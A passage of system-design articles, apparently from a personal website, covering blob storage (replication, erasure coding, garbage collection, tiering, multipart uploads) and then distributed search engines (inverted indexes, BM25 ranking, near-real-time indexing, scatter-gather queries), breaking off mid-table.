- Scales 100× beyond largest GFS clusters
- Powers YouTube, Gmail, BigQuery, Cloud Storage

**Azure Storage architecture:**

1. **Front-End Layer:** API gateway, auth, routing
2. **Partition Layer:** Semantic abstraction (Blobs, Tables, Queues), transaction ordering, strong consistency
3. **Stream Layer:** Distributed file system, stores extents (large immutable chunks), 3-way replication

**Trade-offs:**

- ✅ Horizontal scaling (add metadata nodes)
- ✅ No single point of failure
- ✅ Scales to exabytes
- ❌ Higher operational complexity
- ❌ Distributed consistency challenges
- ❌ Higher latency per operation

### Consistency Models

| System               | Consistency Model                                             | Guarantee                                                             |
| -------------------- | ------------------------------------------------------------- | --------------------------------------------------------------------- |
| AWS S3               | Read-after-write (new objects), eventual (overwrites/deletes) | New object immediately visible; overwrites may show old value briefly |
| Azure Blob           | Strong consistency                                            | Write immediately visible to all subsequent reads                     |
| Google Cloud Storage | Strong consistency                                            | Write immediately visible after success response                      |

**Design reasoning:** Strong consistency simplifies application logic (no retry loops checking if write succeeded). The cost is coordination overhead. S3's weaker guarantee for overwrites enables higher throughput.

## Replication and Durability

### Design Choices

#### 3-Way Replication

**How it works:** Store 3 identical copies of each chunk on different storage nodes.

**Best when:**

- Read latency is critical (read from any replica)
- Simplicity is valued over storage efficiency
- Repair must be fast (copy, not reconstruct)
- Dataset fits within 3× storage budget

**Trade-offs:**

- ✅ Simple implementation
- ✅ Fast reads (any replica)
- ✅ Fast repair (copy from surviving replica)
- ❌ 3× storage overhead (200% redundancy)
- ❌ High repair bandwidth (full chunk copy)

**Placement strategy (HDFS/GFS model):**

- Replica 1: Writer's node (or random)
- Replica 2: Different node, same rack
- Replica 3: Different rack

**Design reasoning:**

- Same-rack replica: Low network cost (intra-rack bandwidth is cheap)
- Different-rack replica: Survive rack failure (power, switch)
- Max 1 replica per node: Survive node failure
- Max 2 replicas per rack: Survive rack failure

**Why 3 replicas, not 2?** With 2 replicas and thousands of disks, the probability of both replicas failing before repair completes is uncomfortably high. The window between first failure detection and completing re-replication is the danger zone. 3 replicas provide margin.

#### Erasure Coding

**How it works:** Split data into k data chunks, compute m parity chunks. Any k of the k+m chunks can reconstruct the original data.

**Best when:**

- Storage cost is critical
- Data is cold (infrequent reads)
- Read latency can tolerate reconstruction
- CPU for encoding/decoding is available

**Reed-Solomon coding:**

- Classic erasure code
- k data chunks + m parity chunks
- Tolerates loss of any m chunks
- Example: (10,4) = 10 data + 4 parity = 1.4× overhead (vs. 3×)

**Trade-offs:**

- ✅ 1.2-1.5× storage overhead (vs. 3×)
- ✅ Configurable durability (adjust m)
- ✅ Lower repair bandwidth per chunk
- ❌ Read requires reconstruction (CPU cost)
- ❌ Repair requires reading k chunks
- ❌ More complex implementation

**Local Reconstruction Codes (LRC):**

Azure innovation (USENIX ATC 2012) optimizing for common single-failure case.

Standard Reed-Solomon (12,4): Reconstruct 1 failed chunk → read 12 chunks.

LRC (12,4,2):

- 12 data + 4 parity = 16 total
- Data split into 2 local groups of 6
- Each group has 1 local parity
- 2 global parity chunks

Single-failure reconstruction: Read only 6 chunks (local group), not 12. 50% bandwidth reduction for common case.

**Trade-off:** Slightly higher storage overhead (1.33× vs 1.33×) for dramatically lower repair bandwidth.

### Durability Guarantees

**AWS S3: 11 nines (99.999999999%)**

This means: 1 object lost per 10 billion objects over 10,000 years.

**How achieved:**

1. **Erasure coding:** Data + parity distributed across many disks
2. **Multi-level distribution:** Shards on different disks → different servers → different racks → different data centers
3. **Checksums:** Every shard has embedded checksum; corruption detected on read
4. **Continuous verification:** Background processes scan and verify data integrity
5. **Automatic repair:** Corrupted/lost shards reconstructed from healthy shards

**Probabilistic design:** The probability of losing all k+m locations before repair completes is astronomically low when failures are independent and repair is fast.

## Garbage Collection

### The Challenge

When an object is deleted:

1. Metadata reference removed immediately
2. Physical chunks may be shared with other objects
3. Must not delete chunks still referenced elsewhere
4. Orphaned chunks accumulate, wasting storage
5. In-flight operations may still hold chunk references

### Design Choices

#### Reference Counting

**How it works:** Track reference count per chunk. On object delete, decrement counts. When count reaches 0, mark chunk for deletion.

**Trade-offs:**

- ✅ Immediate cleanup when last reference removed
- ✅ Incremental (no long pauses)
- ✅ Fine-grained control
- ❌ Circular references prevent count reaching 0 (less relevant for blob storage)
- ❌ Counter update on every reference change
- ❌ Counter must survive crashes (persistent, atomic)

#### Mark-and-Sweep

**How it works:**

1. **Mark phase:** Traverse all object metadata, record referenced chunks
2. **Sweep phase:** Scan all chunks, delete unreferenced ones

**Trade-offs:**

- ✅ Handles complex reference patterns
- ✅ No overhead on write path
- ✅ Can defer to off-peak hours
- ❌ Long pauses during GC (or complex incremental implementation)
- ❌ Must prevent modifications during sweep (or handle race)
- ❌ Full scan required (scales with total chunks)

**Safety consideration:** Only delete chunks older than threshold (e.g., 24 hours). Prevents deleting chunks from in-flight uploads not yet committed to metadata.

### Real-World Approaches

**Lazy deletion (common pattern):**

1. Object delete removes metadata immediately
2. Chunk deletion deferred to background GC
3. GC runs periodically (e.g., daily)
4. Reclaims storage when no references remain

**Lifecycle policies:**

- Auto-delete objects after TTL (e.g., "delete objects older than 90 days")
- Simpler than reference tracking
- Imprecise (all-or-nothing based on age)

**Multipart upload cleanup:**

Incomplete multipart uploads create orphaned parts. Lifecycle rule `AbortIncompleteMultipartUpload` auto-deletes after configurable inactivity period (e.g., 7 days).

## Tiered Storage

### Storage Tiers

| Tier        | Access Frequency | Retrieval Time | Storage Cost | Retrieval Cost | Use Case            |
| ----------- | ---------------- | -------------- | ------------ | -------------- | ------------------- |
| **Hot**     | Frequent         | Milliseconds   | $$$          | Free           | Active datasets     |
| **Warm**    | Monthly          | Milliseconds   | $$           | $              | Quarterly reports   |
| **Cold**    | Quarterly        | Minutes        | $            | $$             | Compliance archives |
| **Archive** | Yearly           | Hours          | ¢            | $$$            | Legal holds         |

### Automatic Tiering

**S3 Intelligent-Tiering:**

- Objects not accessed for 30 days → Infrequent Access tier (40% savings)
- Objects not accessed for 90 days → Archive Instant Access tier (68% savings)
- Optional: 90+ days → Archive Access, 180+ days → Deep Archive Access

**How it works:** Monitoring tracks object access patterns. Background process migrates objects between tiers. No application code changes required.

**Constraints:**

- Objects < 128 KB always stay in Frequent Access (overhead not worth it)
- Small monitoring fee per object
- Retrieval from archive tiers has latency

### Manual Lifecycle Policies

**Rule-based tiering:**

```
Rule: Move to Glacier after 90 days
Rule: Delete after 365 days
Rule: Move non-current versions to Infrequent Access after 30 days
```

**Best when:** Access patterns are predictable (logs always cold after 30 days).

**Design reasoning:** Automatic tiering optimizes for unpredictable patterns at monitoring cost. Manual policies suit predictable patterns with zero monitoring overhead.

## Multipart Uploads

### Why Multipart?

Single-stream upload of large files (GBs+):

- Network hiccup → restart entire upload
- No parallelism → underutilizes bandwidth
- Long request → timeout risk
- High memory → buffer entire file

### Multipart Upload Flow

![Diagram](./diagram-1.svg)

### Design Decisions

**Part size:** 5 MB minimum, 5 GB maximum (S3). Larger parts = fewer requests, better throughput. Smaller parts = finer retry granularity.

**Part limit:** 10,000 parts maximum. For 5 TB max object size with 10,000 parts → ~500 MB minimum part size for largest files.

**ETag tracking:** Each part returns an ETag. CompleteMultipartUpload requires all ETags in order. Ensures integrity—client proves it received every part acknowledgment.

**Failure handling:**

- Individual part failure: Retry that part only
- Upload abandoned: Parts remain (consuming storage) until explicit AbortMultipartUpload or lifecycle cleanup
- Partial completion: ListParts shows which parts succeeded

**Cleanup lifecycle:** Configure `AbortIncompleteMultipartUpload` rule to auto-delete abandoned uploads after N days.

## Real-World Architectures

### AWS S3

**Scale (2025):** 500+ trillion objects, hundreds of exabytes, 200M+ requests/second peak.

**Architecture (inferred from public information):**

- **Metadata:** Distributed key-value store (likely Dynamo-derived), heavily cached
- **Data:** ShardStore (LSM-tree based), erasure-coded storage
- **Consistency:** Strong read-after-write for new objects
- **Durability:** 11 nines via erasure coding + multi-AZ distribution

**Key design principles:**

1. Flat namespace (no directories to maintain)
2. Metadata/data separation (independent scaling)
3. Commodity hardware (fail-in-place design)
4. Automatic sharding and rebalancing

### Azure Blob Storage

**Architecture:** Three-layer design.

1. **Front-End:** API gateway, auth, request routing
2. **Partition Layer:** Object semantics, transaction ordering, strong consistency
3. **Stream Layer:** Distributed storage, extents (large immutable chunks), LRC erasure coding (12,4,2)

**Key innovations:**

- Strong consistency (not eventual)—simplifies application logic
- LRC reduces repair bandwidth by 50% for single failures
- Stream layer provides durable append-only storage

### Ceph RADOS

**Architecture:**

- **OSDs (Object Storage Daemons):** Store data, handle replication/recovery
- **Monitors:** Paxos cluster managing cluster state
- **CRUSH algorithm:** Deterministic placement (no central lookup)

**Key design principle:** Autonomous recovery. OSDs communicate peer-to-peer to detect failures and rebalance. Monitors coordinate but don't participate in data path.

**CRUSH placement:** Hash-based algorithm computes object location from object ID + cluster map. No central metadata lookup for data path—clients compute placement directly.

### MinIO

**Philosophy:** S3-compatible, erasure-coded, horizontally scalable.

**Architecture:**

- Minimum 4 nodes (production)
- Erasure sets: Fixed drive count (typically 8-16)
- Example: 12-drive setup = 6 data + 6 parity (50% overhead, 6-drive fault tolerance)
- Metadata stored alongside data (no separate metadata DB)

**Use case:** On-premises S3-compatible storage for Kubernetes, ML pipelines, backups.

## Common Pitfalls

### Pitfall 1: Under-Sizing Chunks for Deduplication

**The mistake:** Using tiny chunks (4-16 KB) assuming better deduplication.

**Why it happens:** "Smaller chunks = more dedup opportunities."

**The consequence:** Metadata explosion. 1 PB with 8 KB chunks = 125 billion metadata entries. Index exceeds memory; lookups become I/O-bound; write throughput collapses.

**The fix:** Profile your workload. Measure actual dedup ratio at different chunk sizes. Often 256 KB-1 MB provides 90% of dedup benefit with 10× less metadata.

### Pitfall 2: Ignoring Repair Bandwidth in Erasure Coding

**The mistake:** Choosing high-parity erasure coding (e.g., 10+6) for maximum fault tolerance.

**Why it happens:** "More parity = more durability."

**The consequence:** When a drive fails, reconstruction reads from 10 drives to rebuild 1 shard. With 1000 drives and 5 failures/day, repair traffic saturates network. Cascading failures follow.

**The fix:** Consider LRC or lower parity ratios. Balance durability against repair bandwidth. Run failure simulations.

### Pitfall 3: Synchronous Deduplication on Hot Path

**The mistake:** Inline deduplication with blocking index lookup on every write.

**Why it happens:** "Maximize storage savings immediately."

**The consequence:** Write latency spikes when dedup index doesn't fit in memory. P99 latency becomes unpredictable.

**The fix:** Hybrid approach—inline for hot index (memory), post-process for cold. Or accept higher storage temporarily for consistent latency.

### Pitfall 4: Incomplete Multipart Upload Leaks

**The mistake:** Not configuring lifecycle rules for incomplete multipart uploads.

**Why it happens:** "Uploads always complete successfully" (they don't).

**The consequence:** Failed uploads leave orphaned parts. Over months, orphaned parts consume significant storage (and cost).

**The fix:** Always configure `AbortIncompleteMultipartUpload` lifecycle rule (e.g., 7 days).

### Pitfall 5: Single-Tier Storage for Mixed Workloads

**The mistake:** Storing all data on hot tier.

**Why it happens:** "Simplicity" or "we might need fast access."

**The consequence:** 80%+ of data is rarely accessed but stored at hot-tier prices. Storage costs scale linearly with data volume.

**The fix:** Implement tiering (automatic or policy-based). Even simple "move to cold after 90 days" policies save 60%+ on storage costs for typical workloads.

## Conclusion

Blob storage design balances storage efficiency, durability, and access performance through careful architectural choices:

1. **Choose chunking for your workload:** Fixed-size for write-once analytics, CDC for backup/dedup-heavy workloads
2. **Separate metadata from data:** They have fundamentally different scaling needs
3. **Match redundancy to access patterns:** 3-way replication for hot data (fast reads), erasure coding for cold data (cost efficient)
4. **Design for failure:** At scale, failures are constant. Repair bandwidth, GC overhead, and orphan cleanup are not edge cases—they're steady-state operations
5. **Tier aggressively:** Most data is write-once, read-rarely. Price it accordingly

The best blob storage system is invisible—until you look at the bill. Design for cost at scale from day one.

## Appendix

### Prerequisites

- Understanding of hash functions (SHA-256, CRC32)
- Familiarity with distributed systems concepts (replication, consistency)
- Basic knowledge of storage media characteristics (HDD vs SSD vs NVMe)

### Summary

- **Chunking strategies** split files for parallel upload, deduplication, and redundancy. Fixed-size is simple; content-defined (CDC) enables better deduplication at higher CPU cost.
- **Deduplication** eliminates redundant data at file or block level. Block-level maximizes savings but requires significant index memory.
- **Metadata separation** enables independent scaling of metadata (IOPS-bound) and data (throughput-bound) layers.
- **Redundancy** via 3-way replication (simple, 3× overhead) or erasure coding (complex, 1.2-1.5× overhead) determines durability and cost.
- **Tiered storage** optimizes cost by matching storage media to access patterns—hot data on fast storage, cold data on cheap storage.
- **Multipart uploads** enable resilient, parallel uploads of large files with per-part retry.

### References

- [The Google File System (GFS) - SOSP 2003](https://research.google.com/archive/gfs-sosp2003.pdf) - Original chunked distributed storage design
- [Windows Azure Storage: A Highly Available Cloud Storage Service with Strong Consistency - SOSP 2011](https://www.cs.purdue.edu/homes/csjgwang/CloudNativeDB/AzureStorageSOSP11.pdf) - Three-layer architecture, strong consistency
- [Erasure Coding in Windows Azure Storage - USENIX ATC 2012](https://www.usenix.org/system/files/conference/atc12/atc12-final181_0.pdf) - Local Reconstruction Codes (LRC)
- [FastCDC: A Fast and Efficient Content-Defined Chunking Approach - USENIX ATC 2016](https://www.usenix.org/system/files/conference/atc16/atc16-paper-xia.pdf) - Content-defined chunking optimization
- [RADOS: A Scalable, Reliable Storage Service for Petabyte-scale Storage Clusters](https://ceph.io/assets/pdfs/weil-rados-pdsw07.pdf) - Ceph object storage design
- [A Fast, Minimal Memory, Consistent Hash Algorithm (Jump Consistent Hash)](https://arxiv.org/abs/1406.2294) - Google's O(1) memory consistent hashing
- [HDFS Architecture Guide](https://hadoop.apache.org/docs/stable/hadoop-project-dist/hadoop-hdfs/HdfsDesign.html) - Block placement, rack awareness
- [How Amazon S3 Achieves 11 Nines Durability](https://docs.aws.amazon.com/AmazonS3/latest/userguide/DataDurability.html) - Durability design principles
- [Colossus: Successor to the Google File System](https://cloud.google.com/blog/products/storage-data-transfer/a-peek-behind-colossus-googles-file-system) - Distributed metadata evolution

---

## Distributed Search Engine

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/distributed-search-engine
**Category:** System Design / System Design Building Blocks
**Description:** Building scalable full-text search systems: inverted index internals, partitioning strategies, ranking algorithms, near-real-time indexing, and distributed query execution. This article covers the design choices that shape modern search infrastructure—from Lucene’s segment architecture to Elasticsearch’s scatter-gather execution model.

# Distributed Search Engine

Building scalable full-text search systems: inverted index internals, partitioning strategies, ranking algorithms, near-real-time indexing, and distributed query execution. This article covers the design choices that shape modern search infrastructure—from Lucene's segment architecture to Elasticsearch's scatter-gather execution model.

<figure>

![Distributed search architecture: coordinating node scatters queries to shards, each containing multiple immutable segments with inverted indexes. Replicas provide fault tolerance and read scalability.](./distributed-search-architecture-coordinating-node-scatters-queries-to-shards-eac.svg)

<figcaption>Distributed search architecture: coordinating node scatters queries to shards, each containing multiple immutable segments with inverted indexes. Replicas provide fault tolerance and read scalability.</figcaption>
</figure>

## Abstract

Distributed search engines solve the problem of finding relevant documents in collections too large for a single machine. The core data structure is the **inverted index**—a mapping from terms to documents—which transforms O(n) document scans into O(1) term lookups. The fundamental design choices are:

- **Index partitioning**: Document-based (each shard holds complete documents, query fans out to all shards) vs. term-based (each shard holds posting lists for a subset of terms, query hits only relevant shards). Document-based dominates in practice—Google, Elasticsearch, and OpenSearch all use it.
- **Ranking**: BM25 (Okapi Best Match 25) remains the default for lexical search. It extends TF-IDF (Term Frequency–Inverse Document Frequency) with term frequency saturation and document length normalization.
- **Near-real-time (NRT) indexing**: Documents become searchable within seconds through an in-memory buffer flushed to immutable segments. The trade-off: more frequent flushes mean more segments to merge.
- **Query execution**: Scatter-gather pattern where a coordinating node routes queries to all shards, each returns local top-K results, and the coordinator merges them.

The key insight: search engines trade **write complexity** (building and maintaining inverted indexes) for **read performance** (sub-second queries over billions of documents). Lucene's segment-based architecture enables this by making segments immutable—once written, they're never modified, only merged.

## The Inverted Index

### Why Inverted Indexes Exist

A naive search scans every document for query terms—O(n) where n is the document count. At Google's scale (hundreds of billions of web pages), this is infeasible. The inverted index flips the problem: instead of "which terms appear in each document?", it answers "which documents contain each term?"

**Structure:**

```
Term Dictionary           Posting Lists
─────────────────────────────────────────────────────
"distributed"    →    [doc1:3, doc7:1, doc42:5]
"search"         →    [doc1:2, doc7:4, doc15:1, doc42:2]
"engine"         →    [doc7:1, doc15:3]
─────────────────────────────────────────────────────
                       └── document ID : term frequency
```

Each posting list contains document IDs where the term appears, often with:

- **Term frequency (TF)**: How many times the term appears in each document
- **Positions**: Token offsets for phrase queries ("distributed search" requires adjacent positions)
- **Payloads**: Custom per-position data (e.g., part-of-speech tags)

### Lucene's Term Dictionary: Finite State Transducers

Lucene stores the term dictionary as a Finite State Transducer (FST)—a data structure that shares common prefixes and suffixes. For a vocabulary like ["distributed", "distribution", "district"], the FST shares "distri" and compresses the suffixes.

**Design reasoning:** The term dictionary must fit in RAM for fast lookups. FSTs reduce memory by 38-52% compared to tries while improving lookup speed by ~22%. The trade-off: FSTs are immutable (must rebuild to add terms) and construction is complex.

**Real-world example:** Lucene 4.0 (2012) switched from a trie-based dictionary to FSTs. Mike McCandless, Lucene committer, documented the change: "We share both prefixes and suffixes...this can be a big space savings."

### Posting List Compression

Raw posting lists would be enormous—billions of document IDs, each as a 32 or 64-bit integer. Compression is essential.

**Design choices:**

#### Variable Byte (VByte) Encoding

**Mechanism:** Encode integers using 7 bits per byte, with the high bit indicating continuation. Small integers (common in delta-encoded posting lists) use 1-2 bytes.

**Best when:**

- Decoding speed matters more than compression ratio
- Hardware doesn't support SIMD operations

**Trade-offs:**

- ✅ Simple, fast decoding (byte-aligned)
- ✅ Works on any hardware
- ❌ ~2× larger than optimal encoding
- ❌ Sequential decoding (no parallelism)

#### PForDelta (Patched Frame of Reference)

**Mechanism:** Choose bit-width k so 90% of integers fit in k bits. Encode those with k bits; encode exceptions (larger integers) separately.

**Best when:**

- Compression ratio matters
- Integer distribution is skewed (most are small)

**Trade-offs:**

- ✅ Better compression than VByte (~30-40%)
- ✅ SIMD-friendly block decoding
- ❌ More complex implementation
- ❌ Patching overhead for exceptions

#### SIMD-Optimized Variants

Modern CPUs (since ~2010) support SIMD (Single Instruction Multiple Data) operations. Variants like SIMD-BP128 decode 128 integers in parallel.

**Real-world example:** Lucene 8.0 (2019) added SIMD-accelerated decoding. Adrien Grand from Elastic: "Lucene is getting better at taking advantage of modern hardware features."

### Segment-Based Architecture

Lucene doesn't maintain a single mutable index. Instead, it writes immutable **segments**—each a complete mini-index with its own term dictionary and posting lists.

**Why segments?**

1. **Immutability enables caching:** Segments never change, so the OS can cache them aggressively. Modified pages never need to be written back.

2. **Lock-free reads:** Searches never wait for writers. A search uses a point-in-time snapshot of segments.

3. **Efficient writes:** New documents buffer in memory, then flush as a new segment. No rewriting of existing data.

4. **Deletions without rewriting:** Deleted documents are marked in a bitmap (`.liv` file), filtered at query time, and physically removed during segment merges.

**Segment lifecycle:**

```
Memory Buffer → Flush → Segment (searchable) → Merge → Larger Segment
                  ↓
            Transaction Log (durability)
```

**Trade-off:** More segments = more file handles, more memory for term dictionaries, slower searches (must merge results across segments). Merge policies balance freshness against segment count.

## Index Partitioning Strategies

### Design Choices

When an index exceeds single-machine capacity, you must partition it. Two fundamental approaches exist.

#### Document-Based (Horizontal) Partitioning

**Mechanism:** Each shard contains a complete subset of documents. All terms for those documents are indexed locally. A 100-document corpus split across 10 shards puts 10 documents in each shard.

**Best when:**

- Write distribution should be balanced
- Query latency must be predictable
- Operational simplicity matters

**Trade-offs:**

- ✅ Even write distribution (any shard can accept any document)
- ✅ Predictable query fanout (always hit all shards)
- ✅ Simple capacity planning (add shards = add capacity)
- ✅ Fault tolerance (losing a shard loses only some documents)
- ❌ Every query hits every shard (high fanout)
- ❌ Coordinator must merge results from all shards
- ❌ Cross-shard aggregations expensive

**Real-world example:** Elasticsearch uses document-based partitioning exclusively. Twitter's Earlybird search engine uses it: "We have over 40 billion documents...partitioned across a large fleet of servers." Google also uses document-based partitioning for web search.

#### Term-Based (Vertical) Partitioning

**Mechanism:** Each shard contains posting lists for a subset of terms across ALL documents. A query for "distributed search" routes to shards owning "distributed" and "search", then intersects results.

**Best when:**

- Queries are highly selective (few terms)
- Most queries hit a small fraction of terms
- Minimizing query fanout is critical

**Trade-offs:**

- ✅ Selective queries hit fewer shards
- ✅ Popular terms can be replicated
- ❌ Extremely uneven shard sizes (common terms have huge posting lists)
- ❌ Complex rebalancing (moving terms is expensive)
- ❌ Multi-term queries require cross-shard intersection
- ❌ Writes touch multiple shards (one per term in the document)

**Design reasoning:** Term-based partitioning looks attractive theoretically—why scatter a query for "rare_term" to 1000 shards when it appears in only 3 documents? In practice, the write amplification (indexing a document touches many shards) and load balancing complexity (zipf-distributed term frequencies) make it impractical at scale.

**Why document-based won:** Google's 2010 commentary (attributed to engineers) noted that they use document-based partitioning. The write path is simpler, shard sizes are predictable, and the fanout overhead is offset by parallel execution.

### Decision Matrix

| Factor           | Document-Based                 | Term-Based                      |
| ---------------- | ------------------------------ | ------------------------------- |
| Write complexity | O(1) shards                    | O(terms in doc) shards          |
| Query fanout     | All shards                     | Shards owning query terms       |
| Shard balance    | Even by document count         | Highly skewed by term frequency |
| Rebalancing      | Move documents                 | Move posting lists              |
| Used by          | Elasticsearch, Google, Twitter | Rarely in production            |

### Shard Sizing Guidelines

**Elasticsearch/OpenSearch recommendations:**

| Metric              | Guideline                             |
| ------------------- | ------------------------------------- |
| Shard size          | 10-50 GB optimal                      |
| Documents per shard | < 200M                                |
| Shards per node     | < 20 per GB heap                      |
| Primary shards      | Fixed at index creation (in ES < 7.x) |

**Design reasoning:** Smaller shards enable faster recovery and rebalancing but increase cluster overhead (more segments, more coordinating work). Larger shards reduce overhead but make recovery slower and limit parallelism.

## Query Processing and Ranking

### Boolean Retrieval

The foundation: parse queries into Boolean expressions, intersect/union posting lists.

**Query:** `distributed AND search`

```
posting_list("distributed") = [1, 7, 42, 100]
posting_list("search")      = [1, 7, 15, 42]

intersection = [1, 7, 42]
```

**Optimization:** Lucene uses skip lists in posting lists. Instead of iterating through every document ID, you can skip ahead when looking for a specific ID. Skip interval is typically 16 documents.

**Real-world example:** For the query `"common_term" AND "rare_term"`, a naive implementation intersects million-element and hundred-element posting lists. With skip lists, you iterate the smaller list and skip through the larger one—O(|small| × log(|large|)) instead of O(|small| + |large|).

### TF-IDF: The Foundation

Term Frequency–Inverse Document Frequency assigns weight to term-document pairs.

**Term Frequency (TF):** How often a term appears in a document.

**Inverse Document Frequency (IDF):** How rare the term is across the corpus.

$$
\text{TF-IDF}(t, d) = \text{TF}(t, d) \times \log\left(\frac{N}{\text{DF}(t)}\right)
$$

Where:

- $\text{TF}(t, d)$ = occurrences of term $t$ in document $d$
- $N$ = total documents in corpus
- $\text{DF}(t)$ = documents containing term $t$

**Intuition:** A term appearing 10 times in a document about "search engines" is highly relevant. A term like "the" appearing 10 times tells us nothing—it appears in every document.

**Historical note:** Karen Spark Jones introduced IDF in 1972. She observed that term specificity (inverse of document frequency) was a better signal than raw frequency.

### BM25: The Production Standard

Okapi BM25 (Best Match 25) extends TF-IDF with two critical improvements.

**Formula:**

$$
\text{BM25}(D, Q) = \sum_{i=1}^{|Q|} \text{IDF}(q_i) \cdot \frac{f(q_i, D) \cdot (k_1 + 1)}{f(q_i, D) + k_1 \cdot \left(1 - b + b \cdot \frac{|D|}{\text{avgdl}}\right)}
$$

Where:

- $f(q_i, D)$ = frequency of term $q_i$ in document $D$
- $|D|$ = document length
- $\text{avgdl}$ = average document length in corpus
- $k_1$ = term frequency saturation parameter (typically 1.2)
- $b$ = document length normalization (typically 0.75)

**Why BM25 beats TF-IDF:**

1. **Term frequency saturation:** A term appearing 100 times isn't 10× more relevant than appearing 10 times. The $(k_1 + 1)/(f + k_1)$ term creates diminishing returns.

2. **Document length normalization:** A 1000-word document matching a term once is less relevant than a 100-word document matching once. The $b$ parameter controls this normalization.

**Design reasoning:** Robertson and Spark Jones developed BM25 at City University London through the 1980s-90s. The "25" refers to the 25th iteration of their best-match weighting schemes. They found $k_1 = 1.2$ and $b = 0.75$ worked well across many test collections.

**Variants:**

| Variant | Modification                  | Use Case                                    |
| ------- | ----------------------------- | ------------------------------------------- |
| BM25F   | Field-weighted scoring        | Structured documents (title, body, anchors) |
| BM25+   | Floor on length normalization | Very short documents                        |

**Real-world example:** Elasticsearch and Lucene use BM25 as the default similarity since Lucene 6.0 (2016), replacing TF-IDF. The TREC (Text REtrieval Conference) competitions consistently showed BM25 outperforming basic TF-IDF.

### Learning to Rank

BM25 is a formula with fixed parameters. Learning to Rank (LTR) uses machine learning to optimize ranking based on click data or human judgments.

**Approach:**

1. **Extract features:** BM25 score, exact match count, document freshness, PageRank, user engagement metrics
2. **Train model:** XGBoost, LambdaMART, neural networks
3. **Score documents:** Model outputs relevance score from features

**Design choices:**

| Approach  | Training                        | Pros           | Cons                    |
| --------- | ------------------------------- | -------------- | ----------------------- |
| Pointwise | Predict absolute relevance      | Simple         | Ignores ranking context |
| Pairwise  | Predict relative order of pairs | Better ranking | O(n²) pairs             |
| Listwise  | Optimize entire ranked list     | Best quality   | Complex, slow           |

**Real-world example:** Airbnb's search team uses a two-tower neural network for embedding-based retrieval. One tower encodes the query, another encodes listings. Similarity between embeddings determines relevance. They combine this with traditional BM25 for hybrid search.

## Near-Real-Time Indexing

### The NRT Challenge

Traditional Lucene committed segments to disk before they became searchable—seconds to minutes of latency. Near-real-time (NRT) search makes documents searchable within seconds by exposing uncommitted segments.

### Refresh vs. Flush vs. Commit

**Three distinct operations:**

| Operation   | What Happens                                | Durability         | Searchable |
| ----------- | ------------------------------------------- | ------------------ | ---------- |
| **Refresh** | In-memory buffer → filesystem cache segment | No                 | Yes        |
| **Flush**   | Lucene commit + translog truncate           | Yes (Lucene level) | Yes        |
| **Commit**  | fsync segments to disk                      | Yes (OS level)     | Yes        |

**Elasticsearch defaults:**

- Refresh: Every 1 second (if index has been queried in last 30 seconds)
- Flush: When translog exceeds 512MB or 30 minutes elapse

### Transaction Log (Translog)

The translog provides durability between flushes. Every indexing operation writes to both the in-memory buffer and the translog.

**Design reasoning:** Refreshing every second creates segments quickly, but fsyncing every second would kill write throughput. The translog decouples searchability (refresh) from durability (fsync). If a node crashes, it replays the translog on recovery.

**Trade-offs:**

- ✅ Documents searchable in ~1 second
- ✅ Durability without constant fsyncs
- ❌ Translog replay on crash (recovery time)
- ❌ Disk space for translog

**Configuration:**

```json
{
  "index.refresh_interval": "1s",
  "index.translog.durability": "request",
  "index.translog.sync_interval": "5s",
  "index.translog.flush_threshold_size": "512mb"
}
```

### Segment Merging

NRT indexing creates many small segments. Without merging, search performance degrades (more files to open, more posting lists to merge at query time).

**TieredMergePolicy (Lucene default):**

1. Group segments by size tier
2. Merge segments within tiers when count exceeds threshold
3. Skip segments with many deletions (merge those preferentially)
4. Limit concurrent merges to avoid I/O saturation

**Key parameters:**

| Parameter            | Default | Effect                                           |
| -------------------- | ------- | ------------------------------------------------ |
| `max_merged_segment` | 5GB     | Segments larger than this won't be merged        |
| `segments_per_tier`  | 10      | Target segments per tier before triggering merge |
| `max_merge_at_once`  | 10      | Maximum segments merged in one pass              |

**Design reasoning:** Mike McCandless visualized Lucene's segment merges as a "staircase"—small segments at the bottom, merged into medium segments, merged into large segments. The tiered approach balances merge cost (I/O) against segment count (search overhead).

**Real-world example:** Twitter's Earlybird search engine modified the merge policy for their real-time requirements. They prioritize keeping small segments (newer tweets) merged quickly while allowing older segments to grow larger.

## Distributed Query Execution

### Scatter-Gather Pattern

Every distributed search query follows scatter-gather:

1. **Parse:** Coordinating node parses the query
2. **Scatter:** Send query to all shards (or shards matching routing)
3. **Local execution:** Each shard runs the query against local segments
4. **Local ranking:** Each shard returns top-K results
5. **Gather:** Coordinating node merges results
6. **Fetch:** Coordinating node fetches full documents for final top-K

**Why two phases (query then fetch)?**

Fetching full documents is expensive. The first phase returns only document IDs and scores. Only after merging do we know the global top-K and need their full content.

**Real-world example:** For a search with `size=10` across 5 shards, each shard returns its top 10 (50 total). The coordinator merges to find the global top 10, then fetches those 10 documents.

### Deep Pagination Problem

Requesting page 1000 of results (documents 10,000-10,010) requires each shard to return 10,010 documents—O(pages × shards × page_size).

**Solutions:**

| Approach            | Mechanism                                        | Trade-offs                                     |
| ------------------- | ------------------------------------------------ | ---------------------------------------------- |
| `search_after`      | Cursor-based, use sort values from previous page | ✅ Efficient; ❌ No random access              |
| `scroll`            | Snapshot in time, iterate through all results    | ✅ Consistent; ❌ Resource-intensive           |
| `from/size` (naive) | Each shard returns from+size docs                | ❌ O(from × shards), limited to 10K by default |

**Design reasoning:** Elasticsearch limits `from + size` to 10,000 by default (`index.max_result_window`). Beyond that, use `search_after` for stateless pagination or `scroll` for batch processing.

### Adaptive Replica Selection

When a query can hit any replica, which one to choose?

**Round-robin:** Simple but ignores node health.

**Adaptive (Elasticsearch default):**

- Track response times per replica
- Track queue depth per replica
- Prefer replicas with lower latency and shorter queues

**Design reasoning:** A hot replica (handling many queries) has longer queues. An unhealthy replica has higher latency. Adaptive selection routes around both problems automatically.

### Custom Routing

By default, documents route to shards via `hash(document_id) mod num_shards`. Custom routing overrides this:

```json
POST /users/_doc/1?routing=tenant_123
{
  "name": "Alice",
  "tenant_id": "tenant_123"
}
```

**Use cases:**

- **Tenant isolation:** All data for tenant_123 on one shard
- **Correlated data:** User profile and user's posts on same shard
- **Query optimization:** Search within routing = single shard query

**Trade-offs:**

- ✅ Single-shard queries (no fanout)
- ✅ Better data locality
- ❌ Potential hot shards (uneven tenants)
- ❌ Must manage routing values

## Elasticsearch and OpenSearch Architecture

### Node Types

| Node Type        | Responsibilities                                | Resource Profile              |
| ---------------- | ----------------------------------------------- | ----------------------------- |
